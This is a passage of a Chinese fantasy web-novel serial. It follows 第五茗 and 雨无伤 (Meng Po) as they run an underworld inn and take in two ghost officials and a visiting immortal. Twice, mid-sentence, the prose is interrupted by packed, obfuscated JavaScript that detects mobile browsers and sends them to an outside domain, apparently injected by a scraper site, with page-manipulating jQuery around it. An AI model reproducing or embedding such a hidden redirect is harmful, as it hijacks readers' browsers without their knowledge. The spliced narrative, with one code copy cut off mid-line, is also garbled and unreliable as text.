第五茗头皮发麻,和雨无伤这种人是最没有什么可争论的,因为找不到对方可以泄气的点。她只能朝其他停下来的人,道:“动起来啊,愣着干什么。兜底的是我,你们真要送我走!” 堂内,停下的抹布,鬼鬼祟祟动了起来。 顿时,嘈杂再起,恢复如常。 夹杂着一两声酆小洪的轻笑,他被第五茗无奈的模样逗乐了。 大家陡然忙起来,第五茗听闻对面人的笑声,顿觉尴尬,装作一副很忙的样子,闪躲酆小洪笑眼盈盈的目光,朝小一大声道:“小一!往常你最能干了,而今也学会发愣偷懒了?还不快点引仙君去歇息。” 雨无伤看不出来第五茗哪里不对劲儿,和过往一样,第五茗怎么说,她就怎么做。 见第五茗在安排大家行动,她也没打算站在这里碍手碍脚,下楼前,她特意扔了一粒银花生给小一,吩咐道:“把上君房间旁边那间收拾出来,看看人床放进去了吗?安排这位仙君住进去吧。” 安排得可真好,第五茗又白了她一眼,而酆小洪却没有拒绝,含头浅笑。 至于扔给小一的银花生,没有其他意思,就是一份交易…是第五茗交给雨无伤处理与他人关系的第一则课言,她用得很好。 腰间的乾坤袋里装了很多银花生,这种在下面只能看不能用的东西,她惯常会在吩咐别人事情时,给上一粒,算作她的心意。 今日,她算是在外人面前,当着第五茗的面做了‘大掌柜’应该做的事情了。 小一收捡银花生后,道:“是。” 雨无伤拍拍手,满意地下了楼。 而楼上,酆小洪也在第五茗和雨无伤的安排下,跟着小一进了房间休息。 独留第五茗在原地,无语地连连跺脚,发泄一通后,才慢慢挪回了那间永远为她留的,她惯常住着的客房。 房间在二楼廊道左边第二间,第一间是雨无伤的房间,所以顺着数过来,第三间就安排给了酆小洪。上面的木牌都被小一收捡走了,示意其他人,这几间房有人入住,勿要打扰。 房间里,一应东西俱全,第五茗房间里蹦蹦跳跳钻进来一个小姑娘,原是也在堂内打扫的一位小厮,她撒娇道:“上君这次回来,脸色更差了些,我给你好好弄弄?” 第五茗无奈应道:“好…按照约定,还是只许回来这日由你折腾。” 小姑娘有些不情愿,又不得不点头道:“小一哥哥,小二哥哥,还有我姐姐和哥哥,对了还有大掌柜,都很担心上君的…上君脸色这么差,我可不可以画两次?他们瞧着也开心…” 第五茗拒绝道:“不行。” 小姑娘双髻上的发饰,摇摇晃晃,在第五茗眼前来回拂动,她半蹲了下去,手里绞着胸前的两股发辫,在第五茗怀里蹭了蹭,道:“难得上君今生是人,我也难得第一次给人梳妆容。” 第五茗坚决道:“不行。” 不仅如此,第五茗还一指撑起小姑娘的脑袋,又道:“小五,你这给小鬼梳妆的执念什么时候是个头…我说不行就是不行,一回只有一次,你撒娇也不成。” 她双手揉了揉脸颊,让其看起更红润可爱, 小五大眼闪闪,匍匐在第五茗膝上,捡着第五茗话里她最在意的字眼,娇嗔道:“上君…你怎么又说这话,我不想到头,我想一直待在迷魂店零号。上君不要再嘀咕我了,我就折腾你这一次还不行吗。” 第五茗浅笑,伸手揉捏了小五的脸颊,道:“不是催你入黄泉,若是你想了,我随时放点血都能送你去。只是你年岁不大,心思不多,执念又深,不想你最后也去走那些苦路子,早消执念最好。” 小五却道:“我们几人被上君收捡回来那日开始,就已经过上好日子了。小一哥哥说过,命数停滞,是一件好事,哪怕做小鬼到死,我们也还是我们,这一生一世都是我们。上君不也说过吗?反反复复走那些定好的路子,十分无聊。” 她说过这话吗? 小五他们可不是简简单单的命数停滞,他们是第五茗遇见的无命数、簿子空白的一群小鬼,他们只能留在地下,待魂身消散。 五人非鬼仙,小五靠她阿娘最后一次为她梳妆做下执念,魂身不灭,小四则为一顿饱饭,小三情系弟妹二人,小二则不一样,他的执念,过于出乎意料,便是他希望遇见他的每一个人都能开心,而小一,他心思细密,虽没有执念,却有修炼之心,然而资质平平,修炼至今,也只能保魂身还在。 况且小一在遇见第五茗等人之前,还忧心小二,在遇见第五茗之后,又心思繁重,思虑迷魂店零号内的所有人… 包括,总是渡劫不成,苦笑命数的第五茗。 他留在迷魂店零号后,不仅照顾了这一群随时可能没了的小鬼,还替第五茗和雨无伤打理店铺,存下不少银钱,且在入鬼门关这一路,为第五茗入鬼门关提供不少便利。 有命数轮回的生命,第五茗可能不是很在意,但这种靠执念还存在的小鬼,还是有情有义的小鬼,却让她不禁又动了恻隐之心。 第五茗见他们的第一眼,就把人都领回了迷魂店零号,后来相处久了…她想帮他们续写命数,却发现早没有了当年的能力,而且神格也烧不起来。 好在迷魂店零号总引接一些仙君,他们得了仙君和泰山上的好,才能一直留在地下。 不然,第五茗也无能为力。 而那句“放点血送他们入轮回”,也不过是顺着口无遮拦的雨无伤,她说出来安慰小鬼们的话。 第五茗撇头看向一边,让小五瞧不见她脸上的落寞,道:“可有命数,才能算是活着…” 小五不懂,笑容不减,不知道能搭什么话,换了一个话题,道:“我给上君梳妆吧。” “啊?哦…” 第五茗从那低丧的情绪里立马抽了出来,回转头,捧起膝上的脑袋,叮嘱道:“在我身上少放点东西。” “知道了,知道了…” 小五挣脱开来,整理身上和小一等人制式、颜色一模一样的小厮服,便去拿工具了,她嘴里吐槽道:“上君就是不听话,梳妆当然得听我的啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547213|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 全然没有小厮样… 两厢无言,脂粉飞舞,半个时辰后,小五终于出了第五茗的房门,继续去堂内打扫卫生。 而第五茗,还在房间里别扭地整理身上的东西。 小五为她选了件青色为主,彩料扎染裙尾的大袖衣衫,除了香囊玉佩,还在她腰上挂了一串银饰,双腕上也各戴了三四只碎玉点缀的细镯子,连脚上也没有放过,一双短靴,鞋面上编满了福绳。 她手脚一动,镯子碰撞,腰上银链锁扣处摩擦,叮叮叮~发出一串细碎的低吟,裙下更是在脚上开出了一朵花。 第五茗双手食指在脑袋上死劲儿摁了摁,适应了身上的声音,才来到水盆边净手。 好家伙! 盆中雪水中,倒映出一张飞仙脸… 小五居然给她画了天上女仙君常幻的妆容,最主要…她还在第五茗额间描了一个红印“屮”纹,顿时把第五茗吓了一大跳。 这东西在她脑门上可不兴画啊! 第五茗沾了点水,把“屮”纹揉散,变成了没了尾巴的,一团晕染开的‘小火’,这才放心地出了门,下楼去。 她一边走,一边整理两只大袖,脑袋太重,让她不敢低头,只能左转转,右瞧瞧。 楼下柜台前那长凳上,靠坐着的雨无伤,瞄了她一眼,摊开双手,踢了踢脚,朝第五茗展示了一番身上差不多的东西,一本正经道:“上君,你这身瞧着倒是比我清爽很多啊。我香囊就挂了三个,镯子也比你多几支,头上的钗子也比你多插了好几处,这小五为什么没给你弄一样的?你的看着轻了不少…” 原来她这幅装扮,还真是小五缩减以后的成果。 第五茗心有余悸,暗自庆幸小五放了她一马,挑眉道:“许是小五瞧我身体弱,承受不了太多东西。” 雨无伤点头道:“那倒是…” 又伸手指了指第五茗,雨无伤眉眼深凝,目光一锁,问道:“上君不觉得额上的那东西像靶子吗?小五给我画了,当即我便让她给擦了。” 可不是嘛… 脑门上放靶子!! 谁让小五画的时候,她‘掩耳盗铃’,不睁眼瞧瞧过程呢。 堂中,小二等人,打扫的打扫,身强力壮的则从房间里搬尸瓮,搬人床…小五年纪最小,东窜西窜,忙的不亦乐乎。 看到此处,第五茗长舒一口气,回头看向雨无伤,碎碎地道:“我也觉得像靶子,可小五忙着下来帮忙…还好刚刚用水擦了擦,但只能弄成这样了。” 雨无伤把摊开的手收了回来,道:“哦,我还以为你喜欢画成吊死鬼样…和那司仓太子似的。” 小五画的额间纹,居然是从司仓太子身上瞧来的。 第五茗心中大惊:命门显现,那女仙君下手可真狠!! 第五茗下了梯步,小走了两步,便听见前方雨无伤喃喃道:“我本不该多事的,可我记得你寿命有四十五余年来着。” 抬起双手,幻出一只笔和一页纸,雨无伤在上面勾勾画画,好一阵,第五茗都已经走到她面前,探头看她纸张上的东西,雨无伤才下颌抵着笔头,道:“上一次从奈何桥与你分别,应该才二十年光景吧?” 第五名点头“嗯”了一声。 雨无伤接着问道:“你怎么这么快又回来了?难道....难道饶笒去找你麻烦了?” 眉头一皱,嘴唇瘪下,雨无伤开始哭泣,眼眶里却是没有一点东西流出来,道:“呜呜呜呜,饶笒真的太坏了,好歹你和她共事一场,她现在已经是真君了,怎么度量还这么小。呜呜呜呜....” 她实在挤不出眼泪,从柜台面上薅过来一把东西,从中拿出一个小瓶子,瓶子里装的是米醋水,蘸取了一滴,放在眼下。 眼下有了一滴‘泪’,她嚎啕声更大了,然而路过的小五等人,却没有一人为她驻足。 他们自来这店中,早已见怪不怪,因每次第五茗回来,她都要这样哭上一回… 哦… 不对!! 是练上一回… 练习如何伤心难过。 哒! 第五茗夺过雨无伤手中的笔,在她脑袋上敲了一棍,道:“收起来,先前在二楼还挺正常的,现在怎么了,又学回去了?” 那张还淌着‘泪水’的脸,一下没了表情。 雨无伤直白道:“「伤心难过」这一则课言,总是学不好…” 第五茗道:“不会伤心还不好吗?” 雨无伤道:“不知道好不好,万一不会伤心,很不好呢。” 还有人想要学会伤心! 第五茗心中堵得慌,她不止一次羡慕被忘川河水泡过的雨无伤,低声骂了一字“傻”,又耐心道:“一天到晚,不要瞎搞腾些没用的,把假眼泪收一收,酸得很…再有,不要总是一见我这样,就拿我练手。最后,提醒你一下,不要生事,这次不是饶笒。” 雨无伤手指抹掉‘水珠’,有口无心道:“你刚做人,就得罪人了?” 幸好堂内,都是她们的自己人,不然雨无伤这话传出去,别人该想第五茗这位上君是有多糟糕,走哪都有人来踩一脚。 第五茗叹道:“不是人,人没那本事,是鬼。那小鬼业务不熟练,出了点差错。” 雨无伤捧着刚才薅在手上的东西,挪了点长凳上的位置出来,道:“那岂不是,你阳寿未尽?” 第五茗紧挨着坐了下去,和雨无伤一起背靠在柜台,闲聊道:“嗯,还有二十五年。” 答完雨无伤的问题,她又长长地叹了一口气,身子也软软地跟着塌了下去,她好似很苦恼这突如其来空余的‘二十五年’。 这种冤屈事,雨无伤早就学会了如何应对,第五茗曾教过她一则课言,叫「打抱不平」。 她大声道:“是谁!你告诉我,我替你骂他两句,实在不行,他要是一个无常之类,官阶比我小的勾魂使,我还可以替你教训他一顿!!” 这句话比刚才的假哭自然多了,第五茗和堂内其他人都被雨无伤带到了气氛里,第五茗本想当即搭话,可在门口擦门框的小二却声音突出,打断了她想说的话。 小二热情异常地喊道:“两位大人,里面请。” 36. 飞升十仙皆在此2 一时之间,堂内人都紧张了起来,屏气敛声,以为是仙君们来了。 而门口,小一先捧着一套青色服饰走了进来,他朝第五茗和雨无伤点头问礼道:“大掌柜,小掌柜。” 紧接着,他身后跟着进来两人,一黑一白,正是在迷魂店二号门口看痴了的埭骰埭桡二人。 埭骰热情回应小二的招呼,道:“小兄弟不用客气,你和小一兄弟长得可真像啊。” 埭桡先一步察觉小一的举动,看向柜台,呢喃道:“大掌柜?小掌柜?” 却因为晃眼而过,没仔细瞧,竟没认出换了副装扮的第五茗,便是他们此行引路的小鬼「蒲小明」。 只要不是幽魂,小二都会嘴甜的叫一声‘大人’。 看见门口两无常,第五茗松了一口气,对雨无伤嘟囔道:“你刚刚不是问是谁损了我阳寿吗?喏,门口站着那两人。” 雨无伤语气平静,道:“现在无常都这么马虎吗?你等着,我帮你出气。” 雨无伤说完,手上的一堆东西都没放,起身大步向门口迈去。 第五茗没拦下,只来得及,弱弱地在雨无伤身后道了句:“不用了…” 门口,埭骰埭桡正听热情的小二说着话。 小二道:“大人,我和小一是孪生兄弟,所以模样如出一辙,但看得久了,你也也能和掌柜们一样,一眼分出我两。 又指了指正在擦桌子凳子的三人,他积极介绍道:“那边是小三、小四、小五,他们三人是一胞而生,小三是姐姐,最是勤快,小四是二子,手脚也麻利,就是有些贪吃,小五是妹妹,最是甜美,喜好打扮,他们虽是一胎生,但模样却不一样,大人应该一眼就能分出来。” 埭骰笑道:“迷魂店零号难怪这么受欢迎,小二你人真好。” 小二正准备介绍店内的两位当家人,而他身后走来的雨无伤,不客气地阻止道:“小二,做什么那么热情呢。” 若是两位掌柜都不在,迷魂店零号,大多时候,都是小一在操持,所以除了第五茗和雨无伤两位掌柜以外,整个权利最大的,便是小一。 小一领人进来,小二自然热情相待。 见雨无伤来了,小二和小一后退一小步,为雨无伤让了位置,小二才解释道:“这是小一领进来的两位大人。” 小一看了眼第五茗,又回身正视雨无伤,恭谨道:“二位无常是此世的引路人。” 是何人的引路人,不用说,店内的所有人都清楚——除了那唯一需要反复入轮回的第五茗,还能是谁。 雨无伤怀里捧着一堆东西,模样有些许狼狈,无视了二人的解释,犹记凑到门口来的目的,道:“入我迷魂店零号内,需要先交两万冥钱,小一你可要过了?” 作为第五茗的引路人,每次来店内都是免费住宿。 此时雨无伤存心刁难,心思都写在了脸上,小一小二又岂能看不出来。 小二脸上笑容止住,小一摇头道:“没有。” 雨无伤朝脚下看了一眼,幽幽地道:“这二人各迈了一只脚了,进来时,记得先把银钱收了。” 这笔钱,埭桡拿得出来,但没必要啊,他收回迈进门内的一只脚,紧张道:“没…没说要钱啊。” 黑无常袍下伸进去的脚已经收了回来,白无常袍下的那只脚也跟着缩了回来,埭骰道:“掌柜的,小一兄弟领我们来的时候,没有说要收钱,我们没有…” 雨无伤道:“没有钱?那你们还想住我们迷魂店零号?” 看了小一、小二一眼,雨无伤挑明意图,道:“他们二人可是胆大得很,上君四十五年的寿数,生生被他们二人弄折了一半多,这样的鬼差,让你们小掌柜受了这么大的委屈,你们还敢往里领,以后眼睛放亮一点,我们迷魂店零号可不是什么‘大人’都往里面请。” 听清缘由,知对方不是无缘无故找茬,埭桡道:“这事的确是我们二人的错…” 埭骰却道:“小掌柜?谁?我们锁魂引路的是小明和酆小洪,怎么会是你们店的小掌柜呢?掌柜的不要胡乱栽赃,我们兄弟二人好欺负,可也不是任人欺负…店掌柜可真是有点蛮不讲理了。” 雨无伤脸上表情顿时消失,语气倒是有一些惊讶,脱口而出道:“「蛮不讲理」?真像蛮不讲理了?” 埭骰一头雾水,点点头,道:“可不是嘛。” 雨无伤想拍手叫好,可怀里东西阻碍了她的动作,只能点头确认道:“这则课言也很难,倒是今日叫我凑巧学成了,真好…” 埭骰道:“课言?学成了?” 只有一旁的小一、小二知道雨无伤说的是什么意思,而他们二人却不好开口对埭骰解释,因为他们不想在这么严肃的氛围里,丢了迷魂店零号的颜面。 雨无伤还在回忆方才过程的细节,仔细记忆这则课言的要点。 埭桡扯着埭骰衣袖,示意埭骰不要再说了。 这时,从店内,却传来二人熟悉的声音,道:“雨无伤,好了,别那么幼稚,埭骰埭桡大哥是临危受命,风雨江的事你自己也清楚,替我出了气就够了,别吓他们了,让他们进来歇息吧。” 雨无伤回过神,听话道:“哦,好。” 模样转变,极其之快。 那声音又继续道:“埭骰、埭桡二位大哥,进来吧,不收钱,这是免费的。” 这就结束了…埭骰埭桡还没从雨无伤咄咄逼人的气势中缓过神。 二人抬头,便看见,第五茗裙角开花,鞋面生花,靓(jing)妆盘发,钗寰摇曳,怀揣双手,干净明亮地走到了店门口。 她先伸手拎起小一双手捧着的青衣看了看,满意地点点头,道:“这里没什么事了,你先送上去吧。” 小一道:“是。”转身走向二楼。 埭骰试探地,小声唤道:“小明?” 第五茗转身,和煦笑道:“是我。只是换了一身衣服,洗漱了一番,埭骰大哥就不认识了?” 灰土土的小鬼,就算中间换过一身喜服,可是未梳妆收拾,一路还莽里莽撞,怎能让人上心,况且人死后有些青绿苍白的脸色,任谁看了,都不会觉得好看。 可再看眼前人,彩衣生莲,腕上镯子伶仃作响,头上发丝不再凌乱,都盘了上去,脸上施了粉黛,一颦一笑,生动有力,和天飞仙一般。 看得痴了,埭骰摸了摸头,尴尬道:“好看…小明真好看。” 第五茗也笑道:“哈哈哈哈,是吗…” 身上过于繁琐,她连笑都不敢动作过大,深怕一不小心,把身上的东西都甩了出去。 第五茗对小二道:“领两位大哥进去吧。” 而雨无伤则没被这些东西拘谨住,身子一转,身上叮铃哐啷,东西摇摇欲坠,她却丝毫没有察觉,面向小二问道:“房间都换成人床了?” 小二答道:“嗯,都换了。” 雨无伤往上兜了兜怀里的东西,吩咐道:“那把廊右最里面两间给他们住,离这些房间都远,两边都是杂货,刚好。” 周围一阵寂静… 埭骰埭桡又瞬间回到适才雨无伤找茬的那一刻。 第五茗则知道雨无伤没有什么心思,就是脑子没转弯,把想说的都说了。 倒是小二,热情惯了,就算没多想雨无伤这话的意思,也因为其他三人的反应,忍不住替在场的人都感到尴尬… 而‘罪魁祸首’雨无伤,想了想,之前和第五茗讨论的‘兜底’一事,继续补刀道:“不能真叫上君去为零号店兜底啊,万一沾了鬼气,得罪了这些天上来的仙君,上君又要吃苦头。” 啊? ‘兜底’不是玩笑话吗? 第五茗心道:雨无伤,得亏你还想着我呢…竟不知你真打算有事让我上。 这下好了,雨无伤是彻底连第五茗也一起弄无语了。 埭骰嘴角轻扯,终打破僵局,道:“我们没钱,左腿子街上人床珍贵,我们睡尸瓮就好了。” 埭桡回过神,也补充道:“大掌柜客气了,给一间房,两身尸瓮,便可。” 心里却是在担心,若是雨无伤再如先前一般,临时变卦,他们兄弟二人去哪里找几万冥钱来。 小二对雨无伤和第五茗,道:“可是那两间房,在大掌柜的安排下,备给了仙君,都换了人床了,没有尸瓮。” 呵呵… 雨无伤居然把这种偏僻次等的房间,留给了这次来的天上仙君。 闻言,埭骰埭桡心中如黑鸦过境,嘀咕道:看来在这位店掌柜的心里,天上仙和地下鬼没有什么区别。 埭骰埭桡的推脱之意,雨无伤当然听不明白,只当那是他们心里的诉求,第五茗没来得及和埭骰埭桡拉扯,雨无伤就向小二吩咐道:“小二你再改回来不就行了吗,去寻两身尸瓮放进去吧。” 埭桡道:“两身尸瓮不占地儿,放一间房内就好了。” 雨无伤道:“听他们二人的,寻两身尸瓮,放一间房。” 小二征询道:“那房间内的人床还搬出来吗?” 埭桡抢答道:“搬。” 小二却看向雨无伤。 雨无伤未做犹豫,道:“搬吧。” 埭桡笑容瞬起,道:“多谢店掌柜,我们兄弟二人刚做鬼差,魂体还不算稳,身上鬼气十足,睡尸瓮正好,气味儿也不会散到房间里。” 四人一来一往,根本不给第五茗说话的机会,她只能眼睁睁看着埭骰埭桡二人,在他们自己的建议下,给自己安排了大房小尸瓮。 一黑一白两身无常袍,终于走进了迷魂店零号,由小二领着上了楼。 第五茗和雨无伤又坐回了柜台旁,看着堂内还在擦桌子凳子的小三等人,有一搭没一搭地聊着。 第五茗指着她怀里的东西,道:“你怎么一直捧着?” 雨无伤才反应过来,怀里还有一堆东西,道:“忘记放了。上君帮帮我,扔柜面上就成。” 第五茗抱起双手,摇头道:“自己起来放。” 雨无伤道:“起不来,身子软了,卡在凳子和柜台间有些麻了。” 两人都不是正常地乖乖坐着,而是一起掉着半个身子,大腿跨在长凳上,手臂架在台沿边,一晃一晃地,跟荡秋千似的。 她不提还好,她一提这话,第五茗也觉得除了双手和四肢,身子也是麻麻的,遂松了手,强忍着那阵感觉,拧眉坐了起来,一件一件地帮雨无伤把怀里的东西捡了出来。 拿起刚刚雨无伤做‘眼泪’的瓶子,第五茗道:“哪来的米醋水…” 雨无伤道:“天上侍酒的女仙君给的…说放久了,就是米酒。” 第五茗打开瓶塞,闻了闻,道:“你确定不是米酒变质了?” 雨无伤摇头,慢慢松缓发麻的身子,道:“不知道,但尝着没酒味。” 第五茗又捡出一样,道:“馒头、咸菜、鸡毛…这都什么啊。” 雨无伤道:“一个富婆鬼给的,说是她夫君娶她时的聘礼。我瞧她衣服穿得挺华丽,就是陪葬的东西有点不值钱,想来应该也是有钱人,就收了她东西,让她住了店,后面他夫君下来了,我再找她夫君换钱。” 第五茗吐槽道:“东西扔了吧,钱你是换不回来了。” 雨无伤道:“为什么啊?” 第五茗没答。 这种「糟糠妻换新,贫贱恩不记」的课言,她还教不懂雨无伤。 闭了嘴,又捡了一堆乱七八糟,稀奇古怪,莫名其妙的东西,第五茗拿出最后一样,道:“耳挂?怎么瞧着和斗部七位星君耳上的七星双铃一模一样呢?只是这绦子…怎么黑绿黑绿的。这是谁的?” 雨无伤身体恢复如常,不再酥麻,她和第五茗一样在凳子上端坐,才拿过东西,看了一眼,又还了回去,道:“这是司仓太子留下的。” 第五茗拿着东西,仔细摸了摸,才发现上面流光溢彩,通体非凡,和斗部那七人耳上的东西是一样的好宝贝,呢喃道:“七位星君还给司仓太子送了一副耳挂?这不是他们七人的…” 雨无伤打断她道:“不是。这一只,是司仓太子从一位女仙君那里偷来的,也不能说是偷,反正就是无意捡着了,到我这里来时,司仓太子才发现这东西真在他身上,一气之下扔在这里了。你说耳挂是一副,但那司仓太子只留下了一只…不过这一只瞧着,倒是和前段时间送入轮回,那天权星君耳上的毫无二致,第四颗星都要格外大一些,还用孔雀石替换了,会不会就是天权星君的?” 第五茗把东西放到柜台上,悠悠地道:“谁知道呢…万一是女仙君偷了天权星君的东西也说不准。” 雨无伤道:“难道就不能是天权送给女星君的?” 第五茗笑道:“七星双铃是斗部七星的身份象征,谁会耗大把精力炼一副这种东西来赠人,你当是凡间娶妻生子,传宗接代吗?什么都可以给啊!什么都要给啊!!” 雨无伤道:“说不定嘛,天上仙,因天帝不准他们双双结缘,难道他们就不能有传宗接代的幌子,行娶妻生子的暗谋?” “…” 掰扯地深入了,第五茗怕雨无伤嘴不把门,招惹上不该招惹的事,急忙又闭上了嘴。 雨无伤因为第五茗迟迟不接话,也对七星双铃的事没了兴趣。 两人百无聊赖,看着小三他们发了一会儿呆。雨无伤晃荡着腿,问道:“上君,那两无常应该知道我是孟婆吧?” 第五茗答道:“应该不知道,他们二人呆头呆脑的,其中一人到现在都还不知道我是谁…” 雨无伤道:“难怪…他们都没给我见礼,他们应该不知道我是他们上官。” “…” 两人又无言发了一会儿呆,雨无伤问道:“小一怎么还没下来?” 第五茗道:“许是在那仙君跟前伺候吧。” 雨无伤淡淡道:“你说,小五会不会溜进那仙君的房间。” 第五茗‘噌’地一下直起了身,须臾,又软软地靠回了柜台,道:“应该不会吧,小一在上面呢。” 雨无伤点评道:“那仙君长成那样,也是挺磕碜的,也不知道修炼的时候,为什么不仔细淬炼一番皮囊。” 第五茗无语道:“都说了,这身不是仙君的仙容,你不要老是质疑。” 雨无伤道:“哦…看来我望魂的能力出问题了,仙鬼不分。小五若是能去给他收拾收拾,指不定看起来也是好看的。” “…” 再一阵静默,小三他们不知道是第几次去洗刷桌上的污渍了,雨无伤看得无聊,忍不住扯了一层第五茗裙摆上的绿纱,道:“你以前喜欢青色,他现在喜欢青色,你喜欢大袖衣衫,他也喜欢…你说他…” 抽回裙纱,第五茗猛然站在雨无伤对面,蹙眉道:“雨无伤,你能不能好好聊天了,能不能好好问问题!” 她心里嘀咕着:问就问,说什么喜欢不喜欢的,弄得好像谁好像勾引了谁一样。 另外聊就聊,每一次的话题开得这么让人难以作答!!是难为谁呢!!!不知道的,还以为你成心的!!! 雨无伤点头道:“能。” 她又继续问道:“你说他现在知不知道,其实你啥都喜欢?” 坐了回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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思绪回来后,雨无伤凝眉,转身凑到第五茗耳边、脖子间,闻了闻,道:“上君,你此次回来,有些奇怪。” 耳边突然多出一股气息,将第五茗从柜台上半靠的身子,惊了起来。 第五茗揉耳,摸着脖颈间,道:“我哪里奇怪了?” 雨无伤的脸跟着挪了过来,鼻尖嗅嗅… 第五茗侧头就看见了一张大脸,她眼珠不禁震动,上翻白仁,嫌弃道:“我见你才是奇怪,凑这么近,你要干什么?” 雨无伤回正身子,得出结论,道:“你没喝酒。” 接着,她又补充道:“回来这么久了,你也没念叨着要茶酒。” 闻言,第五茗一阵愣神,片刻,思虑道:“我饮过酒,还醉睡了四日,此刻酒瘾还没犯。” 雨无伤悠悠地道:“怎么会睡这么久呢?茶酒和水没区别啊…你从前喝到入轮回,也没醉过这么厉害,是身体不行了?不对不对,以前你可是一个大状元,不可能一下就变成一个小秀才了。” 对啊… 她第五茗从来没有醉得这样厉害过。 第五茗不答,反问道:“你认识风雨江第三任城隍官常遇春吗?” 雨无伤道:“听说过。” 第五茗道:“他近日可来过野鬼村?” 雨无伤道:“不清楚,我也是这两日才来。” 人间虽然也有茶酒,但毕竟原产还是要数冥界地府的最纯正。有些鬼差担心在人间买错了酒,喝了阳酒伤身体,都会绕一绕路,来一趟地下,在野鬼村左腿子街那家酒店购买。 当然,更多时候,小鬼们喝的茶酒,都是本人在地下自己勾兑酿造。 楼梯处,小一正好从楼上走了下来。 雨无伤将他叫了过来,问道:“最近几日,可有城隍官来过左腿子街?” 小一道:“有的。” 第五茗问道:“那城隍来干什么?” 小一道:“在前面买了些茶酒。” 忽而,又想起那家店掌柜说的话,小一特意捡重要的信息,告知第五茗,道:“那位城隍大人特意点名要了千年茶酒。” 第五茗和雨无伤纷纷吃惊。 谁没事会来买千年茶酒这种东西,雨无伤有点好奇,道:“他庙内收押了不听话的小鬼?” 小一道:“不清楚。掌柜的说,那位城隍大人好像是替某位仙君买的酒,想来是仙君,这千年茶酒饮了应该也没什么作用。” 雨无伤道:“千年茶酒寒性十足,你确定是仙君买来自己喝,不是给别人?” 小一摇摇头道:“不知道。据店掌柜说,那位城隍大人神色慌张,行程又匆忙。” 顿了,小一又多说了一句,道:“正因为买的是千年茶酒,店掌柜平日只供十殿的东西,那城隍大人的神色又有异,店掌柜才特意找来迷魂店零号,同我将事情说明了一遍。” 雨无伤道:“嗯,能任由你们四处传说,那城隍官应该真是买去给仙君喝的,仔细想想…嘴馋这一口的仙君也不少,大抵是一位途径城隍庙的仙君差使他去买的也说不准。” 话音刚落,第五茗悠悠地道:“嘴馋的不是仙君,那东西多半是给我喝了…” 一语中的,让雨无伤和小一愣在原处,还是小一先紧着第五茗身体,关心道:“上君身体可还好?可有觉得寒冷难受?” 一旁,雨无伤也看了过来。 第五茗摇了摇头,道:“酒给我之前,提前被温热过,我应该没喝多少,但睡了四天。” 雨无伤安慰道:“那还好,我瞧你和先前也没有什么区别,应该是没有什么事。” 千年茶酒…第五茗想起石料场烧起的熊熊大火,心里咯噔一下,面上有些不舒坦,道:“小一,你晚些时候,去买三坛千年茶酒,我要送人!” 小一道:“是。” 第五茗嘴上嘀嘀咕咕道:“这么算来,还阳不成之事,和两无常关系不大了,全是那城隍庙的酒闹的。” 声音不小,雨无伤和小一都听见了。 雨无伤直接问道:“你现在不能还阳,接下来打算干什么?要去把命格簿子上的命数清了吗?” 第五茗叹气道:“不知道…” 雨无伤回想起鬼门关里的景象,道:“最近里面挺忙乱的,来了一大批幽魂,十殿都不空,枉死城听说都住满了…上君,你不会打算在迷魂店里懒够二十五年吧。” 迷魂店零号经常会接到上面调令,为天上地上来的仙妖提供住宿,第五茗要是一直住在这里,指不定会遇见一些老熟人,她摇摇头道:“算了…住这里,还不如去你奈何桥挤一挤。” 雨无伤拒绝道:“奈何桥也满了,没你的位置。” 哀叹一声,第五茗苦闷道:“我又没说非去你那里不可,满就满了呗。” 雨无伤分析道:“死了这么多人,现在应该只有地上最空了。上君你不还阳,你还能去哪儿?” 第五茗愁绪道:“我想想还有没别的去处…指望十殿殿主肯定是不行的,哪次回去不是张口就问‘上君,此次身死,可有感悟?能否渡劫?’他们是恨不得马上送我回去…” 靠在柜台上,第五茗掐着嗓子,模仿着第一殿的审判和殿下说话的动作,滑稽又奇怪,惹得堂内众人捂嘴低笑。 还有一道笑声,磁哑浑厚,伴随着楼梯上传来的、阵阵木板被踩踏的‘吱呀’声。 酆小洪提议道:“最近冥界地府正是缺人,上君不考虑去试试吗?恰巧还都是些地上的职位…” 37. 飞升十仙皆在此3 也没考虑酆小洪因何缘由说的这话,雨无伤点头赞同道:“倒是一个好去处。” 人靠衣服马靠鞍,酆小洪换了一身,又收拾了一番,如今勉勉强强也算看得过去。第五茗望向楼梯处,站了起来,笑道:“原来…仙君一路想的都是让我去谋一份鬼差职。” 四目相撞,酆小洪没打算躲避,笑脸盈盈道:“上君想去吗?” 雨无伤不咸不淡地道:“上君,你去吗?如今来说…你去做鬼差还真是一个好去处,十殿殿主不会管你,冥界地府又缺人,你又最熟悉这里的事,上手肯定是简单的…” 此话不假,纵使知道酆小洪让她去做鬼差的心思不纯,第五茗还是没有一口否决。 她答了一句,“我考虑考虑…”便陷入了沉思。 沉默着,挪动脚步,寻了堂内的一张四方桌坐下。 酆小洪也走了过来,落座前,他特意吩咐跟上来的小一,道:“取一壶茶酒,上君可能需要。” 落座后,他抽了一根筷子,递于第五茗。 第五茗自然的接了过来,把玩片刻后,开始有一下没一下地在桌子上划着。 她在认真思考。 手上拿笔计算,是她的小动作,没笔的时候,也会找一根枯枝,在地上扒拉,再不济,也会用手指写写画画,分清厉害,再做决定。 而这个小习惯,没有多少人清楚。 因为她活了数万年,还没遇见几件能让她细细计算的事… 自打第五茗被削仙职后,她还刻意戒了这个习惯——因为,自那件事以后,她便得出一个道理,任何事都不需要细细思量后再去做,一刻的冲动,就已经决定了结果,就算写写画画,算了又算,也是没有用。 第五茗沉默。 迷魂店内,却讨论声四起。 